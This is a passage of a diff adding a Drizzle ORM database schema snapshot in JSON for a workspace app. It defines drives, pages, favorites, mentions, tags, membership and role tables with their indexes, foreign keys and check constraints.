"last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_owner_home_unique": { + "name": "drives_owner_home_unique", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drives\".\"kind\" = 'HOME'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_org_slug_unique": { + "name": "drives_org_slug_unique", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drives\".\"orgId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drives_ownerId_users_id_fk": { + "name": "drives_ownerId_users_id_fk", + "tableFrom": "drives", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drives_orgId_organizations_id_fk": { + "name": "drives_orgId_organizations_id_fk", + "tableFrom": "drives", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + }, + "drives_homePageId_pages_id_fk": { + "name": "drives_homePageId_pages_id_fk", + "tableFrom": "drives", + "tableTo": "pages", + "columnsFrom": [ + "homePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drives_not_found_page_id_pages_id_fk": { + "name": "drives_not_found_page_id_pages_id_fk", + "tableFrom": "drives", + "tableTo": "pages", + "columnsFrom": [ + "not_found_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drives_publishSubdomain_unique": { + "name": "drives_publishSubdomain_unique", + "nullsNotDistinct": false, + "columns": [ + "publishSubdomain" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drives_home_never_org_check": { + "name": "drives_home_never_org_check", + "value": "\"drives\".\"kind\" <> 'HOME' OR \"drives\".\"orgId\" IS NULL" + }, + "drives_avatar_url_chk": { + "name": "drives_avatar_url_chk", + "value": "\"drives\".\"avatarUrl\" IS NULL OR \"drives\".\"avatarUrl\" ~ ('^/api/drives/' || \"drives\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')" + }, + "drives_color_chk": { + "name": "drives_color_chk", + "value": "\"drives\".\"color\" IS NULL OR \"drives\".\"color\" IN ('slate', 'red', 'orange', 'amber', 'green', 'teal', 'blue', 'indigo', 'violet', 'pink')" + } + }, + "isRLSEnabled": false + }, + "public.favorites": { + "name": "favorites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "itemType": { + "name": "itemType", + "type": "FavoriteItemType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'page'" + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "favorites_user_id_page_id_key": { + "name": "favorites_user_id_page_id_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "favorites_user_id_drive_id_key": { + "name": "favorites_user_id_drive_id_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "favorites_user_id_position_idx": { + "name": "favorites_user_id_position_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "favorites_userId_users_id_fk": { + "name": "favorites_userId_users_id_fk", + "tableFrom": "favorites", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "favorites_pageId_pages_id_fk": { + "name": "favorites_pageId_pages_id_fk", + "tableFrom": "favorites", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "favorites_driveId_drives_id_fk": { + "name": "favorites_driveId_drives_id_fk", + "tableFrom": "favorites", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "favorites_item_type_consistency_chk": { + "name": "favorites_item_type_consistency_chk", + "value": "((\"itemType\" = 'page' AND \"pageId\" IS NOT NULL AND \"driveId\" IS NULL) OR (\"itemType\" = 'drive' AND \"driveId\" IS NOT NULL AND \"pageId\" IS NULL))" + } + }, + "isRLSEnabled": false + }, + "public.mentions": { + "name": "mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sourcePageId": { + "name": "sourcePageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetPageId": { + "name": "targetPageId", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "mentions_source_page_id_target_page_id_key": { + "name": "mentions_source_page_id_target_page_id_key", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "targetPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mentions_source_page_id_idx": { + "name": "mentions_source_page_id_idx", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mentions_target_page_id_idx": { + "name": "mentions_target_page_id_idx", + "columns": [ + { + "expression": "targetPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mentions_sourcePageId_pages_id_fk": { + "name": "mentions_sourcePageId_pages_id_fk", + "tableFrom": "mentions", + "tableTo": "pages", + "columnsFrom": [ + "sourcePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mentions_targetPageId_pages_id_fk": { + "name": "mentions_targetPageId_pages_id_fk", + "tableFrom": "mentions", + "tableTo": "pages", + "columnsFrom": [ + "targetPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pages": { + "name": "pages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "PageType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "contentMode": { + "name": "contentMode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'html'" + }, + "isPaginated": { + "name": "isPaginated", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "systemPrompt": { + "name": "systemPrompt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabledTools": { + "name": "enabledTools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "includeDrivePrompt": { + "name": "includeDrivePrompt", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "agentDefinition": { + "name": "agentDefinition", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "visibleToGlobalAssistant": { + "name": "visibleToGlobalAssistant", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includePageTree": { + "name": "includePageTree", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "pageTreeScope": { + "name": "pageTreeScope", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'children'" + }, + "toolExposureMode": { + "name": "toolExposureMode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'upfront'" + }, + "sandboxEnabled": { + "name": "sandboxEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "defaultEnvId": { + "name": "defaultEnvId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userScopedAccess": { + "name": "userScopedAccess", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "siteMode": { + "name": "siteMode", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fileSize": { + "name": "fileSize", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalFileName": { + "name": "originalFileName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "filePath": { + "name": "filePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fileMetadata": { + "name": "fileMetadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "processingStatus": { + "name": "processingStatus", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'pending'" + }, + "processingError": { + "name": "processingError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "extractionMethod": { + "name": "extractionMethod", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "extractionMetadata": { + "name": "extractionMetadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "contentHash": { + "name": "contentHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "excludeFromSearch": { + "name": "excludeFromSearch", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "isPrivate": { + "name": "isPrivate", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revision": { + "name": "revision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "contentRevision": { + "name": "contentRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "stateHash": { + "name": "stateHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalParentId": { + "name": "originalParentId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "pages_drive_id_idx": { + "name": "pages_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_parent_id_idx": { + "name": "pages_parent_id_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_parent_id_position_idx": { + "name": "pages_parent_id_position_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_drive_id_is_trashed_type_idx": { + "name": "pages_drive_id_is_trashed_type_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isTrashed", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pages_defaultEnvId_drive_envs_id_fk": { + "name": "pages_defaultEnvId_drive_envs_id_fk", + "tableFrom": "pages", + "tableTo": "drive_envs", + "columnsFrom": [ + "defaultEnvId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pages_createdBy_users_id_fk": { + "name": "pages_createdBy_users_id_fk", + "tableFrom": "pages", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pages_driveId_drives_id_fk": { + "name": "pages_driveId_drives_id_fk", + "tableFrom": "pages", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.storage_events": { + "name": "storage_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sizeDelta": { + "name": "sizeDelta", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "totalSizeAfter": { + "name": "totalSizeAfter", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "storage_events_user_id_idx": { + "name": "storage_events_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "storage_events_created_at_idx": { + "name": "storage_events_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "storage_events_userId_users_id_fk": { + "name": "storage_events_userId_users_id_fk", + "tableFrom": "storage_events", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "storage_events_pageId_pages_id_fk": { + "name": "storage_events_pageId_pages_id_fk", + "tableFrom": "storage_events", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tags": { + "name": "tags", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "normalizedKey": { + "name": "normalizedKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "tags_drive_id_idx": { + "name": "tags_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "tags_driveId_drives_id_fk": { + "name": "tags_driveId_drives_id_fk", + "tableFrom": "tags", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "tags_createdBy_users_id_fk": { + "name": "tags_createdBy_users_id_fk", + "tableFrom": "tags", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "tags_drive_id_normalized_key_key": { + "name": "tags_drive_id_normalized_key_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "normalizedKey" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_mentions": { + "name": "user_mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sourcePageId": { + "name": "sourcePageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetUserId": { + "name": "targetUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mentionedByUserId": { + "name": "mentionedByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "user_mentions_source_page_id_target_user_id_key": { + "name": "user_mentions_source_page_id_target_user_id_key", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "targetUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_mentions_source_page_id_idx": { + "name": "user_mentions_source_page_id_idx", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_mentions_target_user_id_idx": { + "name": "user_mentions_target_user_id_idx", + "columns": [ + { + "expression": "targetUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_mentions_sourcePageId_pages_id_fk": { + "name": "user_mentions_sourcePageId_pages_id_fk", + "tableFrom": "user_mentions", + "tableTo": "pages", + "columnsFrom": [ + "sourcePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_mentions_targetUserId_users_id_fk": { + "name": "user_mentions_targetUserId_users_id_fk", + "tableFrom": "user_mentions", + "tableTo": "users", + "columnsFrom": [ + "targetUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_mentions_mentionedByUserId_users_id_fk": { + "name": "user_mentions_mentionedByUserId_users_id_fk", + "tableFrom": "user_mentions", + "tableTo": "users", + "columnsFrom": [ + "mentionedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_agent_members": { + "name": "drive_agent_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "includeContext": { + "name": "includeContext", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "addedBy": { + "name": "addedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "addedAt": { + "name": "addedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "drive_agent_members_drive_id_idx": { + "name": "drive_agent_members_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_agent_members_agent_page_id_idx": { + "name": "drive_agent_members_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_agent_members_driveId_drives_id_fk": { + "name": "drive_agent_members_driveId_drives_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_agent_members_agentPageId_pages_id_fk": { + "name": "drive_agent_members_agentPageId_pages_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_agent_members_customRoleId_drive_roles_id_fk": { + "name": "drive_agent_members_customRoleId_drive_roles_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_agent_members_addedBy_users_id_fk": { + "name": "drive_agent_members_addedBy_users_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "users", + "columnsFrom": [ + "addedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_agent_members_drive_agent_key": { + "name": "drive_agent_members_drive_agent_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "agentPageId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_members": { + "name": "drive_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "DriveMemberSource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'invite'" + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastAccessedAt": { + "name": "lastAccessedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedByPolicy": { + "name": "suspendedByPolicy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_members_suspended_by_policy_idx": { + "name": "drive_members_suspended_by_policy_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_members\".\"suspendedByPolicy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_drive_id_idx": { + "name": "drive_members_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_user_id_idx": { + "name": "drive_members_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_role_idx": { + "name": "drive_members_role_idx", + "columns": [ + { + "expression": "role", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_custom_role_id_idx": { + "name": "drive_members_custom_role_id_idx", + "columns": [ + { + "expression": "customRoleId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_members_driveId_drives_id_fk": { + "name": "drive_members_driveId_drives_id_fk", + "tableFrom": "drive_members", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_members_userId_users_id_fk": { + "name": "drive_members_userId_users_id_fk", + "tableFrom": "drive_members", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_members_customRoleId_drive_roles_id_fk": { + "name": "drive_members_customRoleId_drive_roles_id_fk", + "tableFrom": "drive_members", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_members_invitedBy_users_id_fk": { + "name": "drive_members_invitedBy_users_id_fk", + "tableFrom": "drive_members", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_members_drive_user_key": { + "name": "drive_members_drive_user_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_roles": { + "name": "drive_roles", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isDefault": { + "name": "isDefault", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "drive_wide_permissions": { + "name": "drive_wide_permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "NULL" + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_roles_drive_id_idx": { + "name": "drive_roles_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_roles_position_idx": { + "name": "drive_roles_position_idx", + "columns": [ + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_roles_driveId_drives_id_fk": { + "name": "drive_roles_driveId_drives_id_fk", + "tableFrom": "drive_roles", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_roles_drive_name_key": { + "name": "drive_roles_drive_name_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "name" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_token_drives": { + "name": "mcp_token_drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenId": { + "name": "tokenId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": 